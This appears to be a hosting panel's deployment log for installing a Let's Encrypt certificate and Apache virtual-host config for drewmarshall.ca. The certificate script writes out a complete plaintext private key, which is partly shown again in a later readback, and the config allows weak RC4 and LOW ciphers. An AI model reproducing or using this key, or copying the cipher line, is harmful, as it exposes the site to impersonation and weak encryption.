mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg
rm OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM
2025-12-24 13:55:43:
chmod 755 /tmp/pkp875613; /tmp/pkp875613; rm /tmp/pkp875613
2025-12-24 13:55:43:
2025-12-24 13:55:43: Establishing a connection
2025-12-24 13:55:43:
PUT: /tmp/pkp384099
#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt
cat > $temp_file <<'endmsg'
24:76:fc:aa:40:f0:d8:c8:d9:c7:e0:58:49:da:93:52
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBSWnsrPlT1LB7AAsLza5yZejMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI0MTI1NzEyWhcNMjYwMzI0MTI1NzExWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDR1SsfBBpCp5MXzZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtj
ys+PJsO+A7vHl/4aARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx
5Q3HF1PD9lLeP7vNuaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTP
aiTG87lcO2qkNzPuBAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW
1S8DkxpTwWpcGl2YcOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6
FEbRXWZZwKMPgB1IWAf1cLKPAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGYTNVHXq11v6uAeAa6YMEow+SKQMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzYuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbUKTlUgAABAMARzBFAiAN9DDBUVy2ZqmSQ2GlFRLiYj1eHvT12Pt4vpx/
BlhPkAIhAJl04rvViQaqd53qXok7CQp0klYVPItrmGP7T8DHKvQcAHUAyzj3FYl8
hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbUKTlaAAABAMARjBEAiA5YED+
LqVUP0FFKmSc0KKBxPJ1h5qQTb0d3svnlm9fxQIgTTD+fldoujlU5xLLikoOsotP
6o4dcAB8Wc2Cz0TMTqswDQYJKoZIhvcNAQELBQADggEBAMR/MlbSeX1JQfQxB7Ke
fu24Q2M89+6oX1asXQsgTsrpb0iuuqZ2XQ+7QsgeuNOXh6jXR+hl1STDb3xdnBnn
Qs0AY6hHkPLh5nFtW8C9a4BkecuCl4J5BXaihPu1Jy+IsLlDD2HixVkcXlhAEsOT
rUTBUIUD3FVyS4hiA6I3Idq43BdJY++GNdTwOaBCfeaUY7Y189KthN5FRR3heWeX
pY2aUUmBBIKX4MQ1ExvhOoMndLY669ZqmTQ7mAeueO7m4JoQIZxaJ2x3NehUCfCO
Ol3Mh+kbXnmh0cTPKTHEK5F0lreEEpvc6XBd1kVbXzL4yNKmPUS+lV245ONcSprY
vTM=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR1SsfBBpCp5MX
zZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtjys+PJsO+A7vHl/4a
ARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx5Q3HF1PD9lLeP7vN
uaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTPaiTG87lcO2qkNzPu
BAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW1S8DkxpTwWpcGl2Y
cOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6FEbRXWZZwKMPgB1I
WAf1cLKPAgMBAAECggEAMZavGiVeD2KK4JU2newRavDSs87ee5/LLjv8ec58Wy5E
G2dJCreZXSgUxE2O+4ZyhuIiYEWBmynQY1TeeraeT2A0COY+kSWRW/O7RBQLp6M2
BedQg16q+chepWdKm2AGYYahxS3xZ5SoTXYRAWGkW2Ro2De2nUVkRF5Tz6Vr7/W3
HfmSmw25FuNc6v/Sh+StBm4+FKbTDPlYc07p/2jmbGPHiZNq1Ns85kmImUUVzEuB
Ih+DXoXP+hvA6G3K584N6qGy/IRWIb2Oa5/MDpspHmBc2jEqHCBWCbKLEWRRHh0X
cTw5Q2pOKK/72Zo0o23sXjh6xTCVtEB+5p+uMWcMAQKBgQDyT4ijGA+6woUzUUb+
oTEAKi/qlgT5VK7FrKDt7NsWob4mF6Lv7ZHUUx0ZvBh9FLPrEfSAmpD+Q7ypDbgm
Z3zaQodDIrY+HXrUrlhudY0Enu1ili5rs1jcsg/9TtQnvh/nK69dr7u39CV72A/3
raNTCuik7wLK3coTr2vWVuUtHQKBgQDdr+pTljDdr1XpOkJXo8pAdjtFNK1S1azW
Pp7nwXCCfKCoo+kNuUHg3C8y2NvSEI9smKep9U6CFEV2TMCmgOp8A/YxqtcHpfeZ
KM2DkPqWsJDMLtehLRVG772IKSuMb5fziuy9ns3MFoJmBvWVwMM0GnmhuE5TWpmw
F1v7YvRKmwKBgQCytLGjB0XiiT/Pnyvq81q+Ml7wdf/pGuli5HQzxTG3uUYRtfD3
XpDktP+LUUwGQ9SFk9JtXpF81Nw5GeMsf7p3BgXYH6ukl/1VCdgybwO32rZctUI7
MCRjb/eW7CJPxUqmJXPKdqbNfoR+l9T+59LClhMKQTQgBf7ZEdFIXQHciQKBgDZ8
wm+A/sm+CrOkaiH4VAG8DZ1Y8TDm6/BMu+nilbC8yRAqGWISIqsN81vgCUd8YoQi
kTMo4/781IXbH47NKNUKdDyI7QkoNc8jREAOJklbZHuLF9y5o/0nd8I7vERsOUDW
6JFCsvpyneJN25bPJitsRnEFR9sc7aFmXGlRTRH5AoGAGBdGFaiA7PIjJX97yVMC
h3OAPfZpHQFNGTq/MZ09fVPZI4uFDcEqFNtQYkPTGEILADKEo2gRWMiCXZbtkstU
lnY9uWvj/5ZSObgqPsFCCNNJ8tMoPkMYAzbVY5mkLhcrHskI8L0AsgkHp2D6Na6z
oYEy7gAHkCRduCl0725RQto=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-24 13:55:43:
chmod 755 /tmp/pkp384099; /tmp/pkp384099; rm /tmp/pkp384099
2025-12-24 13:55:43:
dir=/etc/ssl/certs
2025-12-24 13:55:43:
PUT: /tmp/pkp174291
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-24 13:55:43:
chmod 755 /tmp/pkp174291; /tmp/pkp174291; rm /tmp/pkp174291
2025-12-24 13:55:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43
<VirtualHost *:80>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-24 13:55:43:
PUT: /tmp/pkp759694
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi
2025-12-24 13:55:43:
chmod 755 /tmp/pkp759694; /tmp/pkp759694; rm /tmp/pkp759694
2025-12-24 13:55:43:
2025-12-24 13:55:43:
PUT: /tmp/pkp873190
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-24 13:55:43:
chmod 755 /tmp/pkp873190; /tmp/pkp873190; rm /tmp/pkp873190
2025-12-24 13:55:43:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-24 13:55:43: Establishing a connection
2025-12-24 13:55:43:
PUT: /tmp/pkp506176
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-24 13:55:43:
chmod 755 /tmp/pkp506176; /tmp/pkp506176; rm /tmp/pkp506176
2025-12-24 13:55:43:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-24 13:55:43:
PUT: /tmp/pkp801527
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-24 13:55:43:
chmod 755 /tmp/pkp801527; /tmp/pkp801527; rm /tmp/pkp801527
2025-12-24 13:55:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 1282
<VirtualHost *:80>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-24 13:55:43:
PUT: /tmp/pkp683698
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-24 13:55:44:
chmod 755 /tmp/pkp683698; /tmp/pkp683698; rm /tmp/pkp683698
2025-12-24 13:55:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt 5374
24:76:fc:aa:40:f0:d8:c8:d9:c7:e0:58:49:da:93:52
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBSWnsrPlT1LB7AAsLza5yZejMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI0MTI1NzEyWhcNMjYwMzI0MTI1NzExWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDR1SsfBBpCp5MXzZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtj
ys+PJsO+A7vHl/4aARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx
5Q3HF1PD9lLeP7vNuaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTP
aiTG87lcO2qkNzPuBAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW
1S8DkxpTwWpcGl2YcOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6
FEbRXWZZwKMPgB1IWAf1cLKPAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGYTNVHXq11v6uAeAa6YMEow+SKQMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzYuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbUKTlUgAABAMARzBFAiAN9DDBUVy2ZqmSQ2GlFRLiYj1eHvT12Pt4vpx/
BlhPkAIhAJl04rvViQaqd53qXok7CQp0klYVPItrmGP7T8DHKvQcAHUAyzj3FYl8
hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbUKTlaAAABAMARjBEAiA5YED+
LqVUP0FFKmSc0KKBxPJ1h5qQTb0d3svnlm9fxQIgTTD+fldoujlU5xLLikoOsotP
6o4dcAB8Wc2Cz0TMTqswDQYJKoZIhvcNAQELBQADggEBAMR/MlbSeX1JQfQxB7Ke
fu24Q2M89+6oX1asXQsgTsrpb0iuuqZ2XQ+7QsgeuNOXh6jXR+hl1STDb3xdnBnn
Qs0AY6hHkPLh5nFtW8C9a4BkecuCl4J5BXaihPu1Jy+IsLlDD2HixVkcXlhAEsOT
rUTBUIUD3FVyS4hiA6I3Idq43BdJY++GNdTwOaBCfeaUY7Y189KthN5FRR3heWeX
pY2aUUmBBIKX4MQ1ExvhOoMndLY669ZqmTQ7mAeueO7m4JoQIZxaJ2x3NehUCfCO
Ol3Mh+kbXnmh0cTPKTHEK5F0lreEEpvc6XBd1kVbXzL4yNKmPUS+lV245ONcSprY
vTM=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR1SsfBBpCp5MX
zZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtjys+PJsO+A7vHl/4a
ARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx5Q3HF1PD9lLeP7vN
uaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTPaiTG87lcO2qkNzPu
BAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW1S8DkxpTwWpcGl2Y
cOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6FEbRXWZZwKMPgB1I
WAf1cLKPAgMBAAECggEAMZavGiVeD2KK4JU2newRavDSs87ee5/LLjv8ec58Wy5E
G2dJCreZXSgUxE2O+4ZyhuIiYEWBmynQY1TeeraeT2A0COY+kSWRW/O7RBQLp6M2
BedQg16q+chepWdKm2AGYYahxS3xZ5SoTXYRAWGkW2Ro2De2nUVkRF5Tz6Vr7/W3
